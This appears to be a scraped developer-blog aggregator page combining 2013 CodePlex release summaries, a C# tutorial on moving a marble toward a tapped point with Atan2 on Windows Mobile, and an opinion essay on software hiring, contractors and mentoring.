(IoC); source code...SQL Compact Query Analyzer: 1.0.1.1511: Beta build of SQL Compact Query Analyzer Bug fixes: - Resolved issue where the application crashes when loading a database that contains tables without a primary key Features: - Displays database information (database version, filename, size, creation date) - Displays schema summary (number of tables, columns, primary keys, identity fields, nullable fields) - Displays the information schema views - Displays column information (database type, clr type, max length, allows null, etc) - Support...CODE Framework: 4.0.30618.0: See change notes in the documentation section for details on what's new. Note: If you download the class reference help file with, you have to right-click the file, pick "Properties", and then unblock the file, as many browsers flag the file as blocked during download (for security reasons) and thus hides all content.Toolbox for Dynamics CRM 2011: XrmToolBox (v1.2013.6.18): XrmToolbox improvement Use new connection controls (use of Microsoft.Xrm.Client.dll) New display capabilities for tools (size, image and colors) Added prerequisites check Added Most Used Tools feature Tools improvementNew toolSolution Transfer Tool (v1.0.0.0) developed by DamSim Updated toolView Layout Replicator (v1.2013.6.17) Double click on source view to display its layoutXml All tools list Access Checker (v1.2013.6.17) Attribute Bulk Updater (v1.2013.6.18) FetchXml Tester (v1.2013.6.1...Media Companion: Media Companion MC3.570b: New* Movie - using XBMC TMDB - now renames movies if option selected. * Movie - using Xbmc Tmdb - Actor images saved from TMDb if option selected. Fixed* Movie - Checks for poster.jpg against missing poster filter * Movie - Fixed continual scraping of vob movie file (not DVD structure) * Both - Correctly display audio channels * Both - Correctly populate audio info in nfo's if multiple audio tracks. * Both - added icons and checked for DTS ES and Dolby TrueHD audio tracks. * Both - Stream d...Document.Editor: 2013.24: What's new for Document.Editor 2013.24: Improved Video Editing support Improved Link Editing support Minor Bug Fix's, improvements and speed upsExtJS based ASP.NET Controls: FineUI v3.3.0: ??FineUI ?? ExtJS ??? ASP.NET ???。 FineUI??? ?? No JavaScript，No CSS，No UpdatePanel，No ViewState，No WebServices ???????。 ?????? IE 7.0、Firefox 3.6、Chrome 3.0、Opera 10.5、Safari 3.0+ ???? Apache License v2.0 ?：ExtJS ?? GPL v3 ?????(http://www.sencha.com/license)。 ???? ??：http://fineui.com/bbs/ ??：http://fineui.com/demo/ ??：http://fineui.com/doc/ ??：http://fineui.codeplex.com/ FineUI???? ExtJS ?????????，???? ExtJS ?。 ????? FineUI ? ExtJS ?：http://fineui.com/bbs/forum.php?mod=viewthrea...BarbaTunnel: BarbaTunnel 8.0: Check Version History for more information about this release.ExpressProfiler: ExpressProfiler v1.5: [+] added Start time, End time event columns [+] added SP:StmtStarting, SP:StmtCompleted events [*] fixed bug with Audit:Logout eventpatterns & practices: Data Access Guidance: Data Access Guidance Drop4 2013.06.17: Drop 4New ProjectsActivity Injector: Activity Injector is mainly used in unit testing workflow activities.Application Starter Tremens: Application for starting ApplicationaAudiwikiREF: This project is created to finish my referral assignment because i faced many problems with the previous one where i couldn't connect the project and commit. AVTS GLUCK ANTIVIRUS SYSTEM: AVTS Gluck AntiVirus System - the best antivirus made by young developers from Ukraine. It was writed in C#, C++, VB.NET, Excutable files, PHP DS, .and more....Base64 File Converter: File converting tool that converts any file into Base64 TXT file and vice versa just by drag-and-drop gesture.Basket Builders Umbraco bootstrap packages: Our umbraco packages to speed up project Bugzy Bug Tracking and Work Management: Creating Bug Tracking and Work Managment system while helping the JSON-RPC standard become as strong as the Bloated XML-RPC(SOAP)Dalmatian Build Script: Dalmatian allows you to automate your build using C# of VB.NETDécouverte Majeure MISN Chrono-courses: Chronocourses projectDocToolTip Library: DocToolTip library allows creating screenshots of winform forms with the name and type of component controls.DotaPick: SummaryHiUpdateTools - easy publish and update your app: HiUpdateTools is a easy tools to use publish new version of your application Kinect Skeleton Recorder: Records and shows XBox 360 Kinect skeleton data using windows forms. Saves the data as XML that can be read by other applications for use in animation.MARIT (BETA): MARIT is a simple drawing app for Android. More features are on the todo-list so stay tuned! Feedback and requests are appreciated. MvcToolbox: MVC Toolbox is a library which contains lots of usefull methods which will help developer to write less code and to be more productive.PrototypeRef: list of testing toolsSmartPlay: SmartPlaySolid Geometry Simulation: Implements a simple fur/hair dynamic engine using physBAM. This package includes a semi-implicit solver for hair simulation and plugins for maya/houdini.Windows.Forms.Controls Revisited (SSTA.WinForms): SearchableListBox control built on the Window,Form.ListBox renders a list box items with multiple search terms highlighted.YiLeSystem: This is a dining system.

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• Applications: The mathematics of movement, Part 1

  - by TechTwaddle

  Before you continue reading this post, a suggestion; if you haven’t read “Programming Windows Phone 7 Series” by Charles Petzold, go read it. Now. If you find 150+ pages a little too long, at least go through Chapter 5, Principles of Movement, especially the section “A Brief Review of Vectors”. This post is largely inspired from this chapter. At this point I assume you know what vectors are, how they are represented using the pair (x, y), what a unit vector is, and given a vector how you would normalize the vector to get a unit vector. Our task in this post is simple, a marble is drawn at a point on the screen, the user clicks at a random point on the device, say (destX, destY), and our program makes the marble move towards that point and stop when it is reached. The tricky part of this task is the word “towards”, it adds a direction to our problem. Making a marble bounce around the screen is simple, all you have to do is keep incrementing the X and Y co-ordinates by a certain amount and handle the boundary conditions. Here, however, we need to find out exactly how to increment the X and Y values, so that the marble appears to move towards the point where the user clicked. And this is where vectors can be so helpful. The code I’ll show you here is not ideal, we’ll be working with C# on Windows Mobile 6.x, so there is no built-in vector class that I can use, though I could have written one and done all the math inside the class. I think it is trivial to the actual problem that we are trying to solve and can be done pretty easily once you know what’s going on behind the scenes. In other words, this is an excuse for me being lazy. The first approach, uses the function Atan2() to solve the “towards” part of the problem. Atan2() takes a point (x, y) as input, Atan2(y, x), note that y goes first, and then it returns an angle in radians. What angle you ask. Imagine a line from the origin (0, 0), to the point (x, y). The angle which Atan2 returns is the angle the positive X-axis makes with that line, measured clockwise. The figure below makes it clear, wiki has good details about Atan2(), give it a read. The pair (x, y) also denotes a vector. A vector whose magnitude is the length of that line, which is Sqrt(x*x + y*y), and a direction ?, as measured from positive X axis clockwise. If you’ve read that chapter from Charles Petzold’s book, this much should be clear. Now Sine and Cosine of the angle ? are special. Cosine(?) divides x by the vectors length (adjacent by hypotenuse), thus giving us a unit vector along the X direction. And Sine(?) divides y by the vectors length (opposite by hypotenuse), thus giving us a unit vector along the Y direction. Therefore the vector represented by the pair (cos(?), sin(?)), is the unit vector (or normalization) of the vector (x, y). This unit vector has a length of 1 (remember sin2(?) + cos2(?) = 1 ?), and a direction which is the same as vector (x, y). Now if I multiply this unit vector by some amount, then I will always get a point which is a certain distance away from the origin, but, more importantly, the point will always be on that line. For example, if I multiply the unit vector with the length of the line, I get the point (x, y). Thus, all we have to do to move the marble towards our destination point, is to multiply the unit vector by a certain amount each time and draw the marble, and the marble will magically move towards the click point. Now time for some code. The application, uses a timer based frame draw method to draw the marble on the screen. The timer is disabled initially and whenever the user clicks on the screen, the timer is enabled. The callback function for the timer follows the standard Update and Draw cycle. private double totLenToTravelSqrd = 0; private double startPosX = 0, startPosY = 0; private double destX = 0, destY = 0; private void Form1_MouseUp(object sender, MouseEventArgs e) {     destX = e.X;     destY = e.Y;     double x = marble1.x - destX;     double y = marble1.y - destY;     //calculate the total length to be travelled     totLenToTravelSqrd = x * x + y * y;     //store the start position of the marble     startPosX = marble1.x;     startPosY = marble1.y;     timer1.Enabled = true; } private void timer1_Tick(object sender, EventArgs e) {     UpdatePosition();     DrawMarble(); } Form1_MouseUp() method is called when ever the user touches and releases the screen. In this function we save the click point in destX and destY, this is the destination point for the marble and we also enable the timer. We store a few more values which we will use in the UpdatePosition() method to detect when the marble has reached the destination and stop the timer. So we store the start position of the marble and the square of the total length to be travelled. I’ll leave out the term ‘sqrd’ when speaking of lengths from now on. The time out interval of the timer is set to 40ms, thus giving us a frame rate of about ~25fps. In the timer callback, we update the marble position and draw the marble. We know what DrawMarble() does, so here, we’ll only look at how UpdatePosition() is implemented; private void UpdatePosition() {     //the vector (x, y)     double x = destX - marble1.x;     double y = destY - marble1.y;     double incrX=0, incrY=0;     double distanceSqrd=0;     double speed = 6;     //distance between destination and current position, before updating marble position     distanceSqrd = x * x + y * y;     double angle = Math.Atan2(y, x);     //Cos and Sin give us the unit vector, 6 is the value we use to magnify the unit vector along the same direction     incrX = speed * Math.Cos(angle);     incrY = speed * Math.Sin(angle);     marble1.x += incrX;     marble1.y += incrY;     //check for bounds     if ((int)marble1.x < MinX + marbleWidth / 2)     {         marble1.x = MinX + marbleWidth / 2;     }     else if ((int)marble1.x > (MaxX - marbleWidth / 2))     {         marble1.x = MaxX - marbleWidth / 2;     }     if ((int)marble1.y < MinY + marbleHeight / 2)     {         marble1.y = MinY + marbleHeight / 2;     }     else if ((int)marble1.y > (MaxY - marbleHeight / 2))     {         marble1.y = MaxY - marbleHeight / 2;     }     //distance between destination and current point, after updating marble position     x = destX - marble1.x;     y = destY - marble1.y;     double newDistanceSqrd = x * x + y * y;     //length from start point to current marble position     x = startPosX - (marble1.x);     y = startPosY - (marble1.y);     double lenTraveledSqrd = x * x + y * y;     //check for end conditions     if ((int)lenTraveledSqrd >= (int)totLenToTravelSqrd)     {         System.Console.WriteLine("Stopping because destination reached");         timer1.Enabled = false;     }     else if (Math.Abs((int)distanceSqrd - (int)newDistanceSqrd) < 4)     {         System.Console.WriteLine("Stopping because no change in Old and New position");         timer1.Enabled = false;     } } Ok, so in this function, first we subtract the current marble position from the destination point to give us a vector. The first three lines of the function construct this vector (x, y). The vector (x, y) has the same length as the line from (marble1.x, marble1.y) to (destX, destY) and is in the direction pointing from (marble1.x, marble1.y) to (destX, destY). Note that marble1.x and marble1.y denote the center point of the marble. Then we use Atan2() to get the angle which this vector makes with the positive X axis and use Cosine() and Sine() of that angle to get the unit vector along that same direction. We multiply this unit vector with 6, to get the values which the position of the marble should be incremented by. This variable, speed, can be experimented with and determines how fast the marble moves towards the destination. After this, we check for bounds to make sure that the marble stays within the screen limits and finally we check for the end condition and stop the timer. The end condition has two parts to it. The first case is the normal case, where the user clicks well inside the screen. Here, we stop when the total length travelled by the marble is greater than or equal to the total length to be travelled. Simple enough. The second case is when the user clicks on the very corners of the screen. Like I said before, the values marble1.x and marble1.y denote the center point of the marble. When the user clicks on the corner, the marble moves towards the point, and after some time tries to go outside of the screen, this is when the bounds checking comes into play and corrects the marble position so that the marble stays inside the screen. In this case the marble will never travel a distance of totLenToTravelSqrd, because of the correction is its position. So here we detect the end condition when there is not much change in marbles position. I use the value 4 in the second condition above. After experimenting with a few values, 4 seemed to work okay. There is a small thing missing in the code above. In the normal case, case 1, when the update method runs for the last time, marble position over shoots the destination point. This happens because the position is incremented in steps (which are not small enough), so in this case too, we should have corrected the marble position, so that the center point of the marble sits exactly on top of the destination point. I’ll add this later and update the post. This has been a pretty long post already, so I’ll leave you with a video of how this program looks while running. Notice in the video that the marble moves like a bot, without any grace what so ever. And that is because the speed of the marble is fixed at 6. In the next post we will see how to make the marble move a little more elegantly. And also, if Atan2(), Sine() and Cosine() are a little too much to digest, we’ll see how to achieve the same effect without using them, in the next to next post maybe. Ciao!

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• CodePlex Daily Summary for Tuesday, October 08, 2013

  CodePlex Daily Summary for Tuesday, October 08, 2013Popular ReleasesTimeWatcher: Time Watcher Beta Stable Release: First release. For x86 & x64 computers. Tested on Windows 7 & Windows 8. The alarm functionality is not yet implemented !!Keepass2Android: 0.9 preview: Support for Dropbox (read/write/sync) Integrated custom file browserLayered Architecture Sample for Azure: Leave Sample - October 2013 (for Azure): Thank You for downloading Layered Architecture Sample. It is important that you read the accompanying README.txt file for setup and installation instructions. Please download and install the Windows Azure SDK before opening these samples. This is a set of revised samples that illustrates how the layered architecture pattern can be applied to web applications that are deployed to Windows Azure. This version is only supported on Visual Studio 2012. This set contains: LeaveSample-WebRoles - AS...NuGet: NuGet 2.7.1: Released October 07, 2013. Release notes: http://docs.nuget.org/docs/release-notes/nuget-2.7.1 Important note: After downloading the signed build of NuGet.exe, if you perform an update using the "nuget.exe update -self" command, it will revert back to the unsigned build.DNNParallax: DNNParallax_01.00.03_Install: This software package includes the DNNParallax skin and the DNNParallax container extensions. Version 01.00.03 Added Parallax JS Script Version 01.00.02 Using local scripts only Version 01.00.01 Fixed a minor packaging issueMugen MVVM Toolkit: Mugen MVVM Toolkit 2.0: IntroductionMugen MVVM Toolkit makes it easier to develop Silverlight, WPF, WinRT and WP applications using the Model-View-ViewModel design pattern. The purpose of the toolkit is to provide a simple framework and set of tools for getting up to speed quickly with applications based on the MVVM design pattern. The core of Toolkit contains a navigation system, windows management system, models, validation, etc. Mugen MVVM Toolkit contains all the MVVM classes such as ViewModelBase, RelayCommand,...Office Ribbon Project (under active development): Ribbon (07. Oct. 2013): Fixed Scrollbar Bug if DropDown Button is bigger than screen Added Office 2013 Theme Fixed closing the Ribbon caused a null reference exception in the RibbonButton.Dispose if the DropDown was not created yet Fixed Memory leak fix (unhooked events after Dispose) Fixed ToolStrip Selected Text 2013 and 2007 for Blue and Standard themesDynamics NAV Application Profiler: Dynamics NAV Application Profiler: Dynamics NAV Application ProfilerGhostscript.NET: Ghostscript.NET v.1.1.0.: v.1.1.0. added GhostscriptViewer state handling (SaveState, RestoreState) GhostscriptRasterizer constructor is extended in order to support usage of the existing GhostscriptViewer instance. fixed problem while using a 32-bit assembly with 32-bit version of Ghostscript on 64-bit Windows: It couldn't find a registry key of installed Ghostscript. Reported and fixed by "r0land". v.1.0.9. implemented EPS (Encapsulated PostScript) support for the GhostscriptViewer. added GhostscriptRasterize...Ghostscript Studio: Ghostscript.Studio v.1.0.2: Ghostscript Studio is easy to use Ghostscript IDE, a tool that facilitates the use of the Ghostscript interpreter by providing you with a graphical interface for postscript editing and file conversions. Ghostscript Studio allows you to preview postscript files, edit the code and execute them in order to convert PDF documents and other formats. The program allows you to convert between PDF, Postscript, EPS, TIFF, JPG and PNG by using the Ghostscript.NET Processor. v.1.0.2. added custom -c s...cmdradio: v0.1.1 binary: Default download in win32. For other OS see here. This is alpha version. Please report all bugs.Squiggle - A free open source LAN Messenger: Squiggle 3.3 Alpha: Allow using environment variables in configuration file (history db connection string, download folder location, display name, group and message) Fix for history viewer to show the correct history entries History saved with UTC timestamp This is alpha release and not recommended for use in productionMedia Companion: Media Companion MC3.579b: Fixed IMDB actor scraping for Movies and TV. Note: there are a couple of new functions that are not active, as this release needed to be done due to IMDB change. New* TV - context menu for rescrapeing Poster image/Banner image Fixed* Both - Fixed actor scraping from IMDB * Movie - Fixed Tableview if Movie's movieset was not in MC's list of moviesets * Movie - Rename with mediainfo now lowercase. * Both - added ignore "A " in titles. Separate option in General Preferences. * Tv - Changing ...VidCoder: 1.5.7 Beta: Updated HandBrake core to SVN 4819. About dialog now pulls down HandBrake version from the DLL. Added a confirmation dialog to Stop if the encode has been going on for more than 5 minutes. Fixed handling of unicode characters for input and output filenames. We now encode to UTF-8 before passing to HandBrake. Fixed a crash in the queue multiple titles dialog. Added code to rescue tool windows which get placed outside of the visible screen area.Wsus Package Publisher: Release v1.3.1310.05: Enhance the "Reboot Remote Computers", by adding a timer before the reboot occure. So that remote users can save their documents and close applications. You can also add a message to be display. In 'Tools'->'Settings'-> Misc Tab, you can set a default message. Enhance the "Compare Computers against AD", by choosing OUs to include in the comparison.Pulse: Pulse 0.6.7.3: Pulse is now accepting donations. To donate by Bitcoin or PayPal see https://pulse.codeplex.com/wikipage?title=Donations Lots of updates in v0.6.7.3: (Feature) New option allows you to disable wallpaper changing when a full screen application is running. This way Pulse doesn't slow down/lag your videos and games :) (Fix) Some users were getting Wallbase errors when logging in. This has been fixed. (Feature) Right click a provider and you can now make a copy of it by selecting the "Dupl...MoreTerra (Terraria World Viewer): MoreTerra 1.11.1: Release 1.11.1 =========== =Bug Fixes= =========== Added more tile blocks (Clouds, crimstone) Added items (binoculars, rope, Pirahna Gun) Added ores (Lead, Tin) Chests now work, I broke them yesterday. =============== =Known Issues= =============== I am having trouble with new background walls. So you will see a red outline for crimson then a pink inside. Same with where I think the queen bee lives.VG-Ripper & PG-Ripper: PG-Ripper 1.4.19: NEW: Added Option to login as Guest NEW: Added Menu Option to delete an Forum Account NEW: Added Support for "ImageTeam.org links FIXED: Fixed Ripping of http://forum.babeunion.com ForumsSimpleExcelReportMaker: Serm 0.03: SourceCode and Sample .Net Framework 3.5 AnyCPU compile.Application Architecture Guidelines: App Architecture Guidelines 3.0.8: This document is an overview of software qualities, principles, patterns, practices, tools and libraries.New ProjectsAutomating windows Azure SQL DB Backup using Worker role: This tool is used for backup functionality on SQL Azure database and tables in a periodical timeline.Billard Management System: Billard Management SystemCRM 2013 Duplicate Detection: Add client side duplicate detection back into Dynamics CRM 2013Demo2: Demo2Enough HttpClientExtensions: Enough HttpClientCachingExtensions allows you to store the response of a HttpClient call if caching is allowed.GameEngine: AInvisibleShortcuts: InvisibleShortcuts, create shortcuts to launch applications, visit folders and websites, manipulate files, execute system command lines and do anything!jean108jabbr: 1MyProject2: This is projectSeries Manager: With this tool it is easy to name all your series with the right season, episode and the title of the specific episode. Meta information is provided by the TVDBsport: sportolTechResearch: Technical researchTestProjectTodor: A test project for playing with TFS

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• CodePlex Daily Summary for Tuesday, June 25, 2013

  CodePlex Daily Summary for Tuesday, June 25, 2013Popular ReleasesCrmRestKit.js: CrmRestKit-2.6.1.js: Improvments for "ByQueryAll": Instead of defering unit all records are loaded, the progress-handler is invoked for each 50 records Added "progress-handler" support for "ByQueryAll" See: http://api.jquery.com/deferred.notify/* See Unit-tests for details ('Retrieve all with progress notification')VG-Ripper & PG-Ripper: VG-Ripper 2.9.44: changes NEW: Added Support for "ImgChili.net" links FIXED: Auto UpdaterMinesweeper by S. Joshi: Minesweeper 1.0.0.1: Zipped!Alfa: Alfa.Common 1.0.4923: Removed useless property ErrorMessage from StringRegularExpressionValidationRule Repaired ErrorWindow and disabled report button after click action Implemented: DateTimeRangeValidationRule DateTimeValidationRule DateValidationRule NotEmptyValidationRule NotNullValidationRule RequiredValidationRule StringMaxLengthValidationRule StringMinLengthValidationRule TimeValidationRule DateTimeToStringConverter DecimalToStringConverter StringToDateTimeConverter StringToDecima...Document.Editor: 2013.25: What's new for Document.Editor 2013.25: Improved Spell Check support Improved User Interface Minor Bug Fix's, improvements and speed upsStyleMVVM: 3.0.2: This is a minor feature and bug fix release Features: ExportWhenDebuggerIsAttacedAttribute - new attribute that marks an attribute to only be exported when the debugger is attahced InjectedFilterAttributeFilterProvider - new Attribute Filter provider for MVC that injects the attributes Performance Improvements - minor speed improvements all over, and Import collections is now 50% faster Bug Fixes: Open Generic Constraints are now respected when finding exports Fix for fluent registrat...Base64 File Converter: First release: - One file can be converted at a time. - Bytes to Base64 and Base64 to Bytes conversions are availableADExtractor - work with Active-Directory: V1.3.0.2: 1.3.0.2- added optional value-index to properties - added new aggregation "Literal" to pass-through values - added new SQL commandline-switch --db to override the connection string - added new global commandline-switch --quiet to reduce output to minimum 1.3.0.1- sub-property resolution now working with aggregation (ie. All(member.objectGuid)) 1.3.0.0- added correct formatting for guids (GuidFormatter)EMICHAG: EMICHAG NETMF 4.2: Alpha release of the 4.2 version.WPF Composites: Version 4.3.0: In this Beta release, I broke my code out into two separate projects. There is a core FasterWPF.dll with the minimal required functionality. This can run with only the Aero.dll and the Rx .dll's. Then, I have a FasterWPFExtras .dll that requires and supports the Extended WPF Toolkit™ Community Edition V 1.9.0 (including Xceed DataGrid) and the Thriple .dll. This is for developers who want more . . . Finally, you may notice the other OPTIONAL .dll's available in the download such as the Dyn...Windows.Forms.Controls Revisited (SSTA.WinForms): SSTA.WinForms 1.0.0: Latest stable releaseAscend 3D: Ascend 2.0: Release notes: Implemented bone/armature animation Refactored class hierarchy and naming Addressed high CPU usage issue during animation Updated the Blender exporter and Ascend model format (now XML) Created AscendViewer, a tool for viewing Ascend modelsIndent Guides for Visual Studio: Indent Guides v13: ImportantThis release does not support Visual Studio 2010. The latest stable release for VS 2010 is v12.1. Version History Changed in v13 Added page width guide lines Added guide highlighting options Fixed guides appearing over collapsed blocks Fixed guides not appearing in newly opened files Fixed some potential crashes Fixed lines going through pragma statements Various updates for VS 2012 and VS 2013 Removed VS 2010 support Changed in v12.1: Fixed crash when unable to start...Fluent Ribbon Control Suite: Fluent Ribbon Control Suite 2.1.0 - Prerelease d: Fluent Ribbon Control Suite 2.1.0 - Prerelease d(supports .NET 3.5, 4.0 and 4.5) Includes: Fluent.dll (with .pdb and .xml) Showcase Application Samples (not for .NET 3.5) Foundation (Tabs, Groups, Contextual Tabs, Quick Access Toolbar, Backstage) Resizing (ribbon reducing & enlarging principles) Galleries (Gallery in ContextMenu, InRibbonGallery) MVVM (shows how to use this library with Model-View-ViewModel pattern) KeyTips ScreenTips Toolbars ColorGallery *Walkthrough (do...Magick.NET: Magick.NET 6.8.5.1001: Magick.NET compiled against ImageMagick 6.8.5.10. Breaking changes: - MagickNET.Initialize has been made obsolete because the ImageMagick files in the directory are no longer necessary. - MagickGeometry is no longer IDisposable. - Renamed dll's so they include the platform name. - Image profiles can now only be accessed and modified with ImageProfile classes. - Renamed DrawableBase to Drawable. - Removed Args part of PathArc/PathCurvetoArgs/PathQuadraticCurvetoArgs classes. The...Three-Dimensional Maneuver Gear for Minecraft: TDMG 1.1.0.0 for 1.5.2: CodePlex???(????????) ?????????(???1/4) ??????????? ?????????? ???????????(??????????) ??????????????????????? ↑????、?????????????????????(???????) ???、??????????、?????????????????????、????????1.5?????????? Shift+W(????)??????????????????10°、?10°(?????????)???Hyper-V Management Pack Extensions 2012: HyperVMPE2012 (v1.0.1.126): Hyper-V Management Pack Extensions 2012 Beta ReleaseOutlook 2013 Add-In: Email appointments: This new version includes the following changes: - Ability to drag emails to the calendar to create appointments. Will gather all the recipients from all the emails and create an appointment on the day you drop the emails, with the text and subject of the last selected email (if more than one selected). - Increased maximum of numbers to display appointments to 30. You will have to uninstall the previous version (add/remove programs) if you had installed it before. Before unzipping the file...Caliburn Micro: WPF, Silverlight, WP7 and WinRT/Metro made easy.: Caliburn.Micro v1.5.2: v1.5.2 - This is a service release. We've fixed a number of issues with Tasks and IoC. We've made some consistency improvements across platforms and fixed a number of minor bugs. See changes.txt for details. Packages Available on Nuget Caliburn.Micro – The full framework compiled into an assembly. Caliburn.Micro.Start - Includes Caliburn.Micro plus a starting bootstrapper, view model and view. Caliburn.Micro.Container – The Caliburn.Micro inversion of control container (IoC); source code...SQL Compact Query Analyzer: 1.0.1.1511: Beta build of SQL Compact Query Analyzer Bug fixes: - Resolved issue where the application crashes when loading a database that contains tables without a primary key Features: - Displays database information (database version, filename, size, creation date) - Displays schema summary (number of tables, columns, primary keys, identity fields, nullable fields) - Displays the information schema views - Displays column information (database type, clr type, max length, allows null, etc) - Support...New Projectsalgorithm interview: Write some code for programming interview questionsAmbiTrack: AmbiTrack provides marker-free localization and tracking using an array of cameras, e.g. the PlayStation Eye.DSeX DragonSpeak eXtended Editor: Furcadia DragonSpeak EditorEasyProject: easy project is finel engineering project this sys made for easy way to manage emploees of a small business or organization .EDIVisualizer SDK: EDIVisualizer SDK is a software developpement kit (SDK) for creating plugin used by EDIVisualizer program.Flame: Interactive shell for scripting in IronRuby IronPython Powershell C#, with syntax highlighting, autocomplete,and for easily work within a .NET framework consoleFusion-io MS SQL Server scripts: Fusion-io's Sumeet Bansal shows how Microsoft SQL Server users can quickly determine whether their database will benefit from Fusion-io ioMemory products.hotelprimero: Proyecto de hotelImage filters: It's a simple image filter :)JSLint.NET: JSLint.NET is a wrapper for Douglas Crockford's JSLint, the JavaScript code quality tool. It can validate JavaScript anywhere .NET runs.KZ.Express.H: KZ.Express.Hmoleshop: moleshop???asp.net ???????B2C????，????????.net???????????。moleshop??asp.net mvc 4.0???，???.net 4.0??。 moleshop???????，??AL2.0 ????，????????????????，????????。PDF Generator Net Free Xml Parser: PDF Generator Net Free Xml Parser?XML?????????????????????。?????????????????????CSV?????????PDF???????????????????????。ScreenCatcher: ScreenCatcher is a program for creating screenshots.SharePoint Configuration Guidance for 21 CFR Part 11 Compliance – SP 2013: This CodePlex project provides the Paragon Solutions configurations and code to support 21 CFR Part 11 compliance with SharePoint 2013.Sky Editor: Save file editor for Pokémon Mystery Dungeon: Explorers of Sky with limited support for Explorers of Time and DarknessTRANCIS: For foundation and runnning online operations for Trancis.UGSF GRAND OUEST: UGSF GRAND OUESTWP.JS: WP.JS (Windows Phone (dot) Javascript) aims to be a compelling library for developing HTML5-based applications for Windows Phone 8.X-Aurora: X-Aurora ?? MVC3

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• Software development is (mostly) a trade, and what to do about it

  - by Jeff

  (This is another cross-post from my personal blog. I don’t even remember when I first started to write it, but I feel like my opinion is well enough baked to share.) I've been sitting on this for a long time, particularly as my opinion has changed dramatically over the last few years. That I've encountered more crappy code than maintainable, quality code in my career as a software developer only reinforces what I'm about to say. Software development is just a trade for most, and not a huge academic endeavor. For those of you with computer science degrees readying your pitchforks and collecting your algorithm interview questions, let me explain. This is not an assault on your way of life, and if you've been around, you know I'm right about the quality problem. You also know the HR problem is very real, or we wouldn't be paying top dollar for mediocre developers and importing people from all over the world to fill the jobs we can't fill. I'm going to try and outline what I see as some of the problems, and hopefully offer my views on how to address them. The recruiting problem I think a lot of companies are doing it wrong. Over the years, I've had two kinds of interview experiences. The first, and right, kind of experience involves talking about real life achievements, followed by some variation on white boarding in pseudo-code, drafting some basic system architecture, or even sitting down at a comprooder and pecking out some basic code to tackle a real problem. I can honestly say that I've had a job offer for every interview like this, save for one, because the task was to debug something and they didn't like me asking where to look ("everyone else in the company died in a plane crash"). The other interview experience, the wrong one, involves the classic torture test designed to make the candidate feel stupid and do things they never have, and never will do in their job. First they will question you about obscure academic material you've never seen, or don't care to remember. Then they'll ask you to white board some ridiculous algorithm involving prime numbers or some kind of string manipulation no one would ever do. In fact, if you had to do something like this, you'd Google for a solution instead of waste time on a solved problem. Some will tell you that the academic gauntlet interview is useful to see how people respond to pressure, how they engage in complex logic, etc. That might be true, unless of course you have someone who brushed up on the solutions to the silly puzzles, and they're playing you. But here's the real reason why the second experience is wrong: You're evaluating for things that aren't the job. These might have been useful tactics when you had to hire people to write machine language or C++, but in a world dominated by managed code in C#, or Java, people aren't managing memory or trying to be smarter than the compilers. They're using well known design patterns and techniques to deliver software. More to the point, these puzzle gauntlets don't evaluate things that really matter. They don't get into code design, issues of loose coupling and testability, knowledge of the basics around HTTP, or anything else that relates to building supportable and maintainable software. The first situation, involving real life problems, gives you an immediate idea of how the candidate will work out. One of my favorite experiences as an interviewee was with a guy who literally brought his work from that day and asked me how to deal with his problem. I had to demonstrate how I would design a class, make sure the unit testing coverage was solid, etc. I worked at that company for two years. So stop looking for algorithm puzzle crunchers, because a guy who can crush a Fibonacci sequence might also be a guy who writes a class with 5,000 lines of untestable code. Fashion your interview process on ways to reveal a developer who can write supportable and maintainable code. I would even go so far as to let them use the Google. If they want to cut-and-paste code, pass on them, but if they're looking for context or straight class references, hire them, because they're going to be life-long learners. The contractor problem I doubt anyone has ever worked in a place where contractors weren't used. The use of contractors seems like an obvious way to control costs. You can hire someone for just as long as you need them and then let them go. You can even give them the work that no one else wants to do. In practice, most places I've worked have retained and budgeted for the contractor year-round, meaning that the $90+ per hour they're paying (of which half goes to the person) would have been better spent on a full-time person with a $100k salary and benefits. But it's not even the cost that is an issue. It's the quality of work delivered. The accountability of a contractor is totally transient. They only need to deliver for as long as you keep them around, and chances are they'll never again touch the code. There's no incentive for them to get things right, there's little incentive to understand your system or learn anything. At the risk of making an unfair generalization, craftsmanship doesn't matter to most contractors. The education problem I don't know what they teach in college CS courses. I've believed for most of my adult life that a college degree was an essential part of being successful. Of course I would hold that bias, since I did it, and have the paper to show for it in a box somewhere in the basement. My first clue that maybe this wasn't a fully qualified opinion comes from the fact that I double-majored in journalism and radio/TV, not computer science. Eventually I worked with people who skipped college entirely, many of them at Microsoft. Then I worked with people who had a masters degree who sucked at writing code, next to the high school diploma types that rock it every day. I still think there's a lot to be said for the social development of someone who has the on-campus experience, but for software developers, college might not matter. As I mentioned before, most of us are not writing compilers, and we never will. It's actually surprising to find how many people are self-taught in the art of software development, and that should reveal some interesting truths about how we learn. The first truth is that we learn largely out of necessity. There's something that we want to achieve, so we do what I call just-in-time learning to meet those goals. We acquire knowledge when we need it. So what about the gaps in our knowledge? That's where the most valuable education occurs, via our mentors. They're the people we work next to and the people who write blogs. They are critical to our professional development. They don't need to be an encyclopedia of jargon, but they understand the craft. Even at this stage of my career, I probably can't tell you what SOLID stands for, but you can bet that I practice the principles behind that acronym every day. That comes from experience, augmented by my peers. I'm hell bent on passing that experience to others. Process issues If you're a manager type and don't do much in the way of writing code these days (shame on you for not messing around at least), then your job is to isolate your tradespeople from nonsense, while bringing your business into the realm of modern software development. That doesn't mean you slap up a white board with sticky notes and start calling yourself agile, it means getting all of your stakeholders to understand that frequent delivery of quality software is the best way to deal with change and evolving expectations. It also means that you have to play technical overlord to make sure the education and quality issues are dealt with. That's why I make the crack about sticky notes, because without the right technique being practiced among your code monkeys, you're just a guy with sticky notes. You're asking your business to accept frequent and iterative delivery, now make sure that the folks writing the code can handle the same thing. This means unit testing, the right instrumentation, integration tests, automated builds and deployments... all of the stuff that makes it easy to see when change breaks stuff. The prognosis I strongly believe that education is the most important part of what we do. I'm encouraged by things like The Starter League, and it's the kind of thing I'd love to see more of. I would go as far as to say I'd love to start something like this internally at an existing company. Most of all though, I can't emphasize enough how important it is that we mentor each other and share our knowledge. If you have people on your staff who don't want to learn, fire them. Seriously, get rid of them. A few months working with someone really good, who understands the craftsmanship required to build supportable and maintainable code, will change that person forever and increase their value immeasurably.

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• ASP.Net MVC Interview Questions and Answers

  - by Samir R. Bhogayta

